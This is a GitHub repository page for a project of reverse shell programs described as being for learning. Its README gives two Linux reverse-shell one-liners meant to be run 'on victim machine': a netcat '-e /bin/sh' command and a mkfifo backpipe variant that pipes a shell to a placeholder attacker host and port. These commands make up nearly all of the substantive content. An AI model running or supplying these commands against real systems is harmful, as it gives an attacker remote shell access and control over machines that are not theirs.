Skip to content

yota22721/reverse_shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Reverse_shell

Reverse shell programs on Windows and Linux for learning.

To make simple reverse shell on linux, run like this↓ on victim machine

nc -e /bin/sh <HOST> <PORT>

However, newer linux don't have -e option of nc command, so create "backpipe" with mkfifo in /tmp instead(pretty much any account is allowed to write there.)

mkfifo /tmp/p; nc <HOST> <PORT> 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p

Credit:

cocomelonc

Thank you for nice article!! https://cocomelonc.github.io/tutorial/2021/09/11/reverse-shells.html

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published